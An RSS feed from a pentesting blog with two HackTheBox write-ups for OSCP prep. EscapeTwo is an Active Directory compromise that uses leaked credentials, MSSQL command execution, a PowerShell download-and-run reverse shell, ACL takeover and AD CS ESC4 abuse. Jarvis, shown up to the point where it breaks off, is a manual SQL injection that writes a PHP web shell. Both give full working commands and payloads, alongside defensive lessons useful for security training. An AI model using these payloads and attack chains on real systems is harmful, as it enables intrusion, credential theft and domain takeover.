<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Hack2Harden]]></title><description><![CDATA[Deonte Spencer — hands-on pentester documenting my OSCP journey, CTF &amp; lab writeups, and practical CVE analysis. I publish clear commands, detection ideas, ]]></description><link>https://www.hack2harden.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1760220766829/3bd99ec5-350f-43f8-a2cf-d5f107515d1e.png</url><title>Hack2Harden</title><link>https://www.hack2harden.com</link></image><generator>RSS for Node</generator><lastBuildDate>Fri, 24 Apr 2026 18:40:19 GMT</lastBuildDate><atom:link href="https://www.hack2harden.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[OSCP Prep #23
HTB Write-Up EscapeTwo]]></title><description><![CDATA[Alright — this is the version you were actually aiming for.Slower, clearer, more instructional, tighter logic, and clean transitions. No shortcuts.

1. Target Overview
Machine Name: EscapeTwoPlatform:]]></description><link>https://www.hack2harden.com/oscp-prep-23-htb-write-up-escapetwo</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-23-htb-write-up-escapetwo</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 23 Apr 2026 00:41:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc77a80c-7bf5-4549-83e4-8b9432d1046e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Alright — this is the version you were actually aiming for.<br />Slower, clearer, more instructional, tighter logic, and clean transitions. No shortcuts.</p>
<hr />
<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> EscapeTwo<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.232.128<br /><strong>Objective:</strong> Obtain Domain Administrator access</p>
<p>This was an Active Directory environment presented in an assumed breach scenario, meaning I started with valid low-privileged domain credentials. From the initial scan, I identified typical AD services along with MSSQL, which immediately suggested multiple potential attack paths including SMB data exposure, database abuse, and eventual domain escalation through misconfigurations.</p>
<p>The overall attack path ended up being a clean chain:</p>
<ul>
<li><p>SMB → credential exposure</p>
</li>
<li><p>MSSQL → remote code execution</p>
</li>
<li><p>Configuration files → credential reuse</p>
</li>
<li><p>ACL abuse → account takeover</p>
</li>
<li><p>AD CS → full domain compromise</p>
</li>
</ul>
<h3>Tools Used</h3>
<ul>
<li><p>Rustscan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>NetExec (nxc)</p>
</li>
<li><p>smbclient</p>
</li>
<li><p>xmllint</p>
</li>
<li><p>BloodHound / RustHound</p>
</li>
<li><p>BloodyAD</p>
</li>
<li><p>Certipy</p>
</li>
<li><p>Evil-WinRM</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Initial Network Scan</h3>
<p>I began with a fast port scan using Rustscan:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/314c61a7-7dcd-4430-9f3c-069ecbba281a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">rustscan -a 10.129.232.128 -b 6000
</code></pre>
<p>From this, I identified several key services:</p>
<ul>
<li><p>53 → DNS</p>
</li>
<li><p>88 → Kerberos</p>
</li>
<li><p>135 / 139 / 445 → RPC / SMB</p>
</li>
<li><p>389 → LDAP</p>
</li>
<li><p>1433 → MSSQL</p>
</li>
</ul>
<p>Right away, MSSQL stood out as important. In internal environments, MSSQL is often a high-value target because it can be abused for:</p>
<ul>
<li><p>OS command execution (<code>xp_cmdshell</code>)</p>
</li>
<li><p>Hash theft (<code>xp_dirtree</code>)</p>
</li>
</ul>
<p>I made a mental note to come back to this later if I could obtain credentials.</p>
<p>During LDAP-related output, I also observed the domain FQDN:</p>
<p><code>DC01.sequel.htb</code></p>
<p>To ensure proper domain interaction, I added it to my hosts file.</p>
<hr />
<h3>Starting Point (Assumed Breach)</h3>
<p>I was given valid credentials:</p>
<p><code>rose : KxEPkKe6R8su</code></p>
<p>Because I already had domain access, I shifted immediately into internal enumeration rather than trying to gain initial access.</p>
<hr />
<h3>Enumerating Domain Users</h3>
<p>My first step was to build a list of domain users:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8b8f4f05-fd9b-4921-b4fc-7586ddf66654.png" alt="" style="display:block;margin:0 auto" />

<p>This revealed several users, including:</p>
<ul>
<li><p>sql_svc</p>
</li>
<li><p>ryan</p>
</li>
<li><p>ca_svc</p>
</li>
</ul>
<p>At this stage, I wasn’t looking for anything specific yet — just building a picture of the environment.</p>
<hr />
<h3>BloodHound (Initial Pass)</h3>
<p>Since I already had valid credentials, I collected domain data using RustHound and loaded it into BloodHound.</p>
<p>I checked:</p>
<ul>
<li><p>Group memberships</p>
</li>
<li><p>Privileges</p>
</li>
<li><p>Attack paths</p>
</li>
</ul>
<p>At this point, <code>rose</code> did not have any useful privileges or attack paths, so I moved on.</p>
<hr />
<h3>SMB Enumeration</h3>
<p>Next, I checked SMB access:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1a5f7b75-1a50-4363-8169-7376776074b0.png" alt="" style="display:block;margin:0 auto" />

<p>I saw:</p>
<ul>
<li><p>Users → READ</p>
</li>
<li><p>Accounting Department → READ</p>
</li>
</ul>
<p>Before diving into SMB, I also checked WinRM:</p>
<pre><code class="language-bash">nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su
</code></pre>
<p>This failed, confirming I could not get a shell directly.</p>
<p>So SMB became my next focus.</p>
<hr />
<h3>Share Enumeration (Targeted Approach)</h3>
<p>Rather than manually browsing shares, I used <code>spider_plus</code> to quickly enumerate files:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ee894e1d-1037-4198-bf3e-fc418e1c2658.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9362e35f-ad6c-4674-b5a2-92ce8fad982c.png" alt="" style="display:block;margin:0 auto" />

<p>After reviewing the output:</p>
<ul>
<li><p>Users → mostly default <code>.lnk</code> files (noise)</p>
</li>
<li><p>Accounting Department → two Excel files</p>
</li>
</ul>
<p>That stood out immediately. In real environments, files like this often contain sensitive business data — sometimes including credentials.</p>
<hr />
<h3>Extracting and Analyzing Files</h3>
<p>I downloaded both files:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6466d4f6-d3ce-4ce1-8815-7225d322c880.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">smbclient -U rose //10.129.232.128/'Accounting Department'
</code></pre>
<p>Inside smbclient:</p>
<pre><code class="language-bash">get accounting_2024.xlsx
get accounts.xlsx
</code></pre>
<p>Since <code>.xlsx</code> files are just ZIP archives, I extracted one:</p>
<pre><code class="language-bash">unzip accounting_2024.xlsx
</code></pre>
<p>This gave me a directory structure with XML files.</p>
<p>The key file for content is:</p>
<p><code>xl/sharedStrings.xml</code></p>
<p>I formatted it for readability:</p>
<pre><code class="language-bash">xmllint --format xl/sharedStrings.xml
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ed446d99-721d-4309-a569-6ae1a4cb2b88.png" alt="" style="display:block;margin:0 auto" />

<p>Inside, I found plaintext credentials:</p>
<p><code>Username: sa Password: MSSQLP@ssw0rd!</code></p>
<h1>3. Exploitation</h1>
<h3>MSSQL Authentication</h3>
<p>I tested the credentials against MSSQL:</p>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
</code></pre>
<p>Authentication succeeded.</p>
<p>Now I had direct access to the database server.</p>
<hr />
<h3>Testing Command Execution</h3>
<p>Next, I needed to determine whether I could execute system commands.</p>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami
</code></pre>
<p>Output:</p>
<p><code>sequel\sql_svc</code></p>
<p>This confirmed two critical things:</p>
<ol>
<li><p><code>xp_cmdshell</code> is enabled</p>
</li>
<li><p>Commands execute as the SQL Server service account (<code>sql_svc</code>)</p>
</li>
</ol>
<p>This is powerful because:</p>
<ul>
<li><p>I now have OS-level execution</p>
</li>
<li><p>I’m running as a domain account, not just a database user</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/047ecadc-23bc-4fb1-a043-78133255f9de.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<hr />
<h3>Getting a Reverse Shell</h3>
<p>To stabilize access, I executed a PowerShell reverse shell:</p>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"
</code></pre>
<p>Listener:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b246d4b2-a010-49e7-887d-3a5a115609b9.png" alt="" style="display:block;margin:0 auto" />

<p>Connection received.</p>
<p>I now had a shell as:</p>
<p><code>sequel\sql_svc</code></p>
<p>At this point, exploitation is complete — I have a foothold.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Local Enumeration</h3>
<p>I started with basic checks:</p>
<pre><code class="language-powershell">whoami /all
</code></pre>
<p>Nothing useful.</p>
<p>Next, I looked at the root directory:</p>
<pre><code class="language-powershell">gci C:\
</code></pre>
<p>I noticed something unusual:</p>
<p><code>SQL2019</code></p>
<p>Non-standard directories are always worth investigating.</p>
<hr />
<h3>Configuration File Discovery</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fcc6e219-fdc8-4071-a228-39e6c121617a.png" alt="" style="display:block;margin:0 auto" />

<p>I navigated into it:</p>
<pre><code class="language-powershell">cd C:\SQL2019\ExpressAdv_ENU
</code></pre>
<p>Then listed files:</p>
<pre><code class="language-powershell">gci
</code></pre>
<p>One file stood out:</p>
<p><code>sql-configuration.ini</code></p>
<p>I opened it:</p>
<pre><code class="language-powershell">type sql-configuration.ini
</code></pre>
<p>Inside:</p>
<p><code>SQLSVCACCOUNT=SEQUEL\sql_svc SQLSVCPASSWORD=WgSZAF6CysDQbGb3</code></p>
<p>This was another credential — and likely reusable.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4eb13729-ad69-4b19-93ae-117e8aa40bd6.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Password Spraying</h3>
<p>I tested the password across all users:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success
</code></pre>
<p>Results:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2e687dde-0989-40f6-adb0-ae7ef34458e3.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>ryan → valid</p>
</li>
<li><p>sql_svc → valid</p>
</li>
</ul>
<p>Now I had a new user: <code>ryan</code></p>
<hr />
<h3>Revisiting BloodHound (Critical Step)</h3>
<p>At this point, I had new credentials.</p>
<p>That means:</p>
<blockquote>
<p>I need to re-check BloodHound.</p>
</blockquote>
<p>This is where many people miss paths.</p>
<p>Now I saw:</p>
<ul>
<li><code>ryan</code> → <strong>WriteOwner over ca_svc</strong></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/eb73ef7a-e385-40a4-acaf-c23d472a766b.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Understanding WriteOwner</h3>
<p><code>WriteOwner</code> allows me to:</p>
<ul>
<li><p>Change the owner of an object</p>
</li>
<li><p>Once owner → grant myself full permissions</p>
</li>
</ul>
<p>So this is effectively:</p>
<blockquote>
<p>Indirect full control over the account</p>
</blockquote>
<hr />
<h3>Taking Over ca_svc</h3>
<p>I used BloodyAD:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8bbaae44-814d-4523-9beb-e68a9e1b0454.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan
</code></pre>
<p>Then granted full control:</p>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan
</code></pre>
<p>Now I fully controlled <code>ca_svc</code>.</p>
<hr />
<h3>Shadow Credentials Attack</h3>
<p>Instead of resetting the password (noisy), I used Shadow Credentials:</p>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc
</code></pre>
<p>This works by:</p>
<ul>
<li><p>Adding a certificate to the account</p>
</li>
<li><p>Allowing authentication without password</p>
</li>
</ul>
<p>Now I could authenticate as <code>ca_svc</code>.</p>
<hr />
<h3>AD CS Enumeration</h3>
<p>I checked for certificate abuse:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0ae0934d-1fcf-469b-a425-9e076976dc36.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">certipy find -u ca_svc -hashes &lt;hash&gt; -dc-ip 10.129.232.128
</code></pre>
<p>I found:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0e25253b-f2f1-4f5b-8475-661523467442.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Vulnerable template → ESC4</li>
</ul>
<hr />
<h3>ESC4 Abuse</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9cdee37a-929e-4a16-ad4b-67a2fe9e99fa.png" alt="" style="display:block;margin:0 auto" />

<p>ESC4 allows modification of certificate templates.</p>
<p>I modified the template:</p>
<pre><code class="language-bash">certipy template -u ca_svc -hashes &lt;hash&gt; -template DunderMifflinAuthentication
</code></pre>
<p>Then requested a certificate as Administrator:</p>
<pre><code class="language-bash">certipy req -u ca_svc -hashes &lt;hash&gt; -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128
</code></pre>
<p>This generated:</p>
<p><code>administrator.pfx</code></p>
<hr />
<h3>Domain Administrator Access</h3>
<p>I authenticated using the certificate:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cd003dc9-77ba-4702-9b48-af883f60fdd5.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
</code></pre>
<p>This gave me the Administrator NT hash.</p>
<p>Final step:</p>
<pre><code class="language-bash">evil-winrm -i 10.129.232.128 -u administrator -H &lt;hash&gt;
</code></pre>
<p>I now had full Domain Admin access.</p>
<hr />
<h1>5. Lessons Learned</h1>
<ul>
<li><p>SMB shares are still one of the easiest ways to leak credentials</p>
</li>
<li><p>MSSQL is a powerful pivot point when exposed internally</p>
</li>
<li><p>Configuration files frequently expose reusable credentials</p>
</li>
<li><p>Password reuse is still extremely common</p>
</li>
<li><p>BloodHound must be revisited after every privilege change</p>
</li>
<li><p>WriteOwner is effectively a full takeover primitive</p>
</li>
<li><p>Shadow Credentials provide stealthy persistence and access</p>
</li>
<li><p>AD CS misconfigurations are one of the most dangerous escalation paths today</p>
</li>
</ul>
<hr />
<h1>6. Defensive Insight</h1>
<ul>
<li><p>Restrict SMB access and audit file exposure</p>
</li>
<li><p>Never store plaintext credentials in files</p>
</li>
<li><p>Disable or restrict xp_cmdshell</p>
</li>
<li><p>Enforce password uniqueness across accounts</p>
</li>
<li><p>Monitor ACL changes (especially ownership changes)</p>
</li>
<li><p>Audit AD CS templates regularly</p>
</li>
<li><p>Monitor certificate enrollment activity</p>
</li>
</ul>
<hr />
<h1>Useful Commands</h1>
<pre><code class="language-bash">rustscan -a 10.129.232.128 -b 6000
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares
</code></pre>
<pre><code class="language-bash">nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'
</code></pre>
<pre><code class="language-bash">smbclient -U rose //10.129.232.128/'Accounting Department'
</code></pre>
<pre><code class="language-bash">unzip accounting_2024.xlsx
</code></pre>
<pre><code class="language-bash">xmllint --format xl/sharedStrings.xml
</code></pre>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
</code></pre>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami
</code></pre>
<pre><code class="language-bash">rlwrap nc -nlvp 7777
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success
</code></pre>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan
</code></pre>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan
</code></pre>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc
</code></pre>
<pre><code class="language-bash">certipy template -u ca_svc -hashes &lt;hash&gt; -template DunderMifflinAuthentication
</code></pre>
<pre><code class="language-bash">certipy req -u ca_svc -hashes &lt;hash&gt; -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128
</code></pre>
<pre><code class="language-bash">certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
</code></pre>
<pre><code class="language-bash">evil-winrm -i 10.129.232.128 -u administrator -H &lt;hash&gt;
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #22 
HTB Write-Up Jarvis]]></title><description><![CDATA[1. Target Overview

Machine Name: Jarvis

Platform: HackTheBox

Operating System: Linux

Target IP: 10.129.229.137

Objective: Obtain initial access and escalate privileges to root


Jarvis was a box ]]></description><link>https://www.hack2harden.com/oscp-prep-22-htb-write-up-jarvis</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-22-htb-write-up-jarvis</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 16 Apr 2026 07:00:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/debfd184-d4d0-4832-99c4-7142d0d95d4e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. <strong>Target Overview</strong></h1>
<ul>
<li><p><strong>Machine Name:</strong> Jarvis</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.229.137</p>
</li>
<li><p><strong>Objective:</strong> Obtain initial access and escalate privileges to root</p>
</li>
</ul>
<p>Jarvis was a box that was very simple, yet instructional. What made it so valuable was how heavily it relied on two very common attack vectors: <strong>SQL injection</strong> and <strong>command injection</strong>.</p>
<p>On this machine, I could not lean on automation the way I normally might. Once the obvious tooling got shut down down by filtering, I had to work through the attack chain manually and understand each step. Because of that, Jarvis ended up being one of the better boxes I have done for reinforcing core web exploitation fundamentals.</p>
<h3>Tools Used</h3>
<p><strong>1. Nmap</strong></p>
<p>Used for initial port scanning and service enumeration. This established the initial attack surface and guided the decision to prioritize the web applications.</p>
<p><strong>2. FFUF</strong></p>
<p>Used for directory enumeration on both exposed web ports. Even when it did not directly reveal the final exploit path, it helped confirm where useful functionality existed and where it did not.</p>
<p><strong>3. Browser / Manual Inspection</strong></p>
<p>Manual interaction with the site was critical on this box. It revealed the behavior of the cod parameter, exposed the temporary blocking mechanism, and made it possible to proceed once automation became unreliable.</p>
<p><strong>4. Burp Suite</strong></p>
<p>Used to manipulate requests and swap in payloads cleanly, especially when moving from simple command execution tests to the reverse shell stage.</p>
<p><strong>5. SQL Injection Payloads</strong></p>
<p>While not a “tool” in the same sense as software, manual SQL injection was the heart of this box. Working through the vulnerability manually was what made the exploitation successful.</p>
<p><strong>6. xxd</strong></p>
<p>Used to hex-encode the PHP payload before writing it to disk through the SQL injection.</p>
<ol>
<li><strong>Netcat</strong></li>
</ol>
<p>Used as the reverse shell listener for both the initial web shell callback and the final root shell.</p>
<p><strong>GTFOBins</strong></p>
<p>Used to validate and safely reference the known privilege escalation technique for the SUID systemctl binary.</p>
<hr />
<h1>2. <strong>Enumeration Phase</strong></h1>
<p>As always, I began with an <code>nmap</code> scan to establish the initial attack surface. The scan revealed three open ports:</p>
<ul>
<li><p><strong>22/tcp</strong> – SSH</p>
</li>
<li><p><strong>80/tcp</strong> – HTTP</p>
</li>
<li><p><strong>64999/tcp</strong> – HTTP</p>
</li>
</ul>
<p>At that point, the decision of where to focus first was straightforward. SSH usually becomes relevant only after credentials or key material are found, while web applications often expose the broadest and most immediate attack surface. Because of that, I chose to begin with the two web services on ports <strong>80</strong> and <strong>64999</strong>.</p>
<p>To get a quick sense of what each application exposed, I used a combination of manual browsing and <strong>directory enumeration with ffuf</strong>.</p>
<p>The web service on <strong>port 64999</strong> turned out to be uninteresting. Instead of exposing real application functionality, it responded with a simple message stating that I had been banned for 90 seconds. That immediately suggested some kind of rate-limiting or defensive control, but there was no real content or meaningful functionality there to investigate further. Since there was nothing useful to interact with, I set that port aside and moved my attention to the service on <strong>port 80</strong>.</p>
<p>The web application on port 80 was much more substantial. It appeared to be the landing page for a hotel website, with navigation links for rooms, dining, and booking-related content.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/114b6da0-bc69-402d-8fe8-680931c619ea.png" alt="" style="display:block;margin:0 auto" />

<p>While clicking through the various room types, I noticed something important: the application changed the returned page based on a query string parameter named <code>cod</code>.</p>
<p>The URL looked like this:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2d522f18-9d74-4710-9af6-e43bd0f936b2.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">http://10.129.229.137/room.php?cod=1
</code></pre>
<p>That parameter immediately stood out. Whenever I see a numeric parameter like that deciding which content gets loaded, one of the first questions I ask myself is whether the value is being used in a backend database query. If it is, that makes it a prime candidate for <strong>SQL injection testing</strong>.</p>
<p>To test that theory, I supplied a single quote in the parameter and observed the application’s behavior. Instead of returning the normal room information, the page broke and returned an error-like response with no meaningful room data. That is a classic early indicator that user input is likely being inserted into a SQL query without being handled safely.</p>
<p>At this stage, I had not proven the full extent of the vulnerability yet, but I had enough to justify deeper testing. The application behavior strongly suggested that the <code>cod</code> parameter was injectable, so I moved into exploitation with the goal of confirming SQL injection and seeing how far I could push it.</p>
<hr />
<h1>3. <strong>Exploitation Phase</strong></h1>
<h3><strong>Confirming and Working Through the SQL Injection</strong></h3>
<p>After seeing the application break when I supplied a single quote, my next instinct was to hand the parameter off to <code>sqlmap</code> and let it do the heavy lifting. That is usually the sensible move because <code>sqlmap</code> can save a lot of time when a target is straightforward. In this case, though, it failed almost immediately and returned <strong>404 errors</strong> rather than useful enumeration results.</p>
<p>Instead of assuming the tool was wrong, I checked the application manually in the browser. When I revisited the page, I was no longer seeing the normal hotel content. Instead, I got a page telling me that I had been <strong>blocked for 90 seconds</strong>. That explained the sqlmap failure right away. The target had some kind of filtering or lightweight WAF behavior that was detecting repeated or suspicious requests and temporarily blocking them.</p>
<p>That changed the situation in an important way. At that point, the problem was no longer simply “is there SQL injection?” It became:</p>
<blockquote>
<p>“Can I exploit this SQL injection manually in a way that stays below whatever filtering is blocking automation?”</p>
</blockquote>
<p>This ended up being one of the most valuable parts of the box for me. Once the tool stopped working, I had to understand the vulnerability well enough to exploit it by hand.</p>
<h3><strong>Determining the Number of Columns</strong></h3>
<p>When using a SQLi approach manually, one of the first things I needed to know was how many columns were present in the original query. Without that, I would not be able to craft a valid payload so to do this I used UNION SELECT statements.</p>
<p>To work that out, I intentionally set the parameter to a value that did not correspond to a real room. If the original query returned no real application data, it would be easier to spot when my injected union started producing valid output.</p>
<p>From there, I gradually added columns to the <code>UNION SELECT</code> statement until the page rendered successfully. The working payload was:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,5,6,7;--
</code></pre>
<p>That told me the backend query used <strong>7 columns</strong>.</p>
<p>Once I had that number, I could begin using those positions to retrieve useful information from the database.</p>
<h2><strong>Identifying the Database Backend</strong></h2>
<p>With a valid seven-column union in hand, the next question was what type of database I was dealing with. That matters because the available functions, syntax, and file interaction capabilities can vary depending on the backend.</p>
<p>To answer that, I replaced one of the visible positions with <code>@@version</code>:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,@@version,6,7;--
</code></pre>
<p>The application returned version information indicating that the backend was <strong>MySQL/MariaDB</strong>.</p>
<p>That was an important result because once I knew I was dealing with MySQL/MariaDB, I could start thinking about file-related functionality such as <code>load_file()</code> and file write capabilities. At that point, my mindset shifted from simply proving SQL injection to asking a more useful question:</p>
<blockquote>
<p>“Can this database access help me get remote code execution on the web server?”</p>
</blockquote>
<h3><strong>Checking for File Write Privileges</strong></h3>
<p>For a SQL injection to become code execution in this sort of scenario, I needed some way to place a server-side script somewhere the web application could execute it. On MySQL/MariaDB, that often depends on whether the database user has the <strong>FILE</strong> privilege.</p>
<p>To check that, I used the following payload:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,file_priv,6,7 from mysql.user;--
</code></pre>
<p>The query returned:</p>
<pre><code class="language-bash">Y
</code></pre>
<p>A result of <code>Y</code> meant the database user had file privileges enabled. In practical terms, that meant I had a realistic path to writing a file onto disk.</p>
<p>This was another major learning moment for me on the box. It forced me to think beyond the usual “extract database contents” mindset. If the database can write to disk, and I can determine the web root, then I may be able to plant a PHP file and use the web server itself to execute commands.</p>
<h3><strong>Verifying File Read Access and Discovering the Web Root</strong></h3>
<p>Before writing anything, I needed to answer another critical question:</p>
<blockquote>
<p>“Where exactly do I need to write the file so I can reach it through the browser?”</p>
</blockquote>
<p>To solve that, I first tested whether I could read files from the host at all. A good file to test with is <code>/etc/passwd</code>, since it almost always exists on Linux systems and is readable.</p>
<p>I used:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/etc/passwd'),6,7;--
</code></pre>
<p>The contents were successfully returned, which confirmed that file reads were possible.</p>
<p>Once I knew that worked, I needed to identify the correct web directory. Rather than guessing blindly, I looked at the page source and the files being loaded by the application. One of the referenced files was a CSS file, which gave me a strong candidate path to test. I used:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 union select 1,2,3,4,load_file('/var/www/html/css/style.css'),6,7;--
</code></pre>
<p>That request successfully returned the stylesheet content. At that point, I had effectively confirmed that the web application lived under:</p>
<pre><code class="language-bash">/var/www/html
</code></pre>
<p>Now I had everything I needed for the next stage:</p>
<ul>
<li><p>A confirmed SQL injection</p>
</li>
<li><p>A MySQL/MariaDB backend</p>
</li>
<li><p>File read capability</p>
</li>
<li><p>File write privilege</p>
</li>
<li><p>The likely web root</p>
</li>
</ul>
<p>That is the exact combination needed to attempt a web shell.</p>
<h3><strong>Writing a PHP Web Shell with SQL Injection</strong></h3>
<p>With the path confirmed, the next goal was to write a file that the web server would interpret as PHP.</p>
<p>I chose a very simple PHP web shell:</p>
<pre><code class="language-php">&lt;?php system($_GET['cmd']); ?&gt;
</code></pre>
<p>Because I planned to inject this through SQL, I converted the payload into hex first. Encoding it this way makes it easier to include safely inside the query without running into quoting issues.</p>
<p>I generated the hex with:</p>
<pre><code class="language-bash">echo '&lt;?php system($_GET['cmd']); ?&gt;' | xxd -p | tr -d '\n'
</code></pre>
<p>Which produced:</p>
<pre><code class="language-bash">3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a
</code></pre>
<p>With that prepared, I used SQL syntax to write the file into the web root:</p>
<pre><code class="language-bash">http://10.129.229.137/room.php?cod=100 or 100=100 LIMIT 0,1 into outfile '/var/www/html/neo.php' lines terminated by 0x3c3f7068702073797374656d28245f4745545b636d645d293b203f3e0a;--
</code></pre>
<p>The logic here is worth spelling out clearly. I was abusing the database’s ability to write a file to disk and placing a PHP script directly into a directory served by Apache. If that succeeded, then requesting the file through the browser would cause the web server to execute the PHP and allow me to pass system commands through the <code>cmd</code> parameter.</p>
<h3><strong>Turning the Web Shell into Remote Code Execution</strong></h3>
<p>To verify that the file had been written successfully and that the server was executing it, I browsed to:</p>
<pre><code class="language-bash">http://10.129.229.137/neo.php?cmd=id
</code></pre>
<p>The command executed successfully.</p>
<p>That was the moment the attack moved from SQL injection to full <strong>remote code execution</strong>. I was no longer limited to interacting with the database through the vulnerable parameter. I now had a server-side command execution primitive through the PHP web shell.</p>
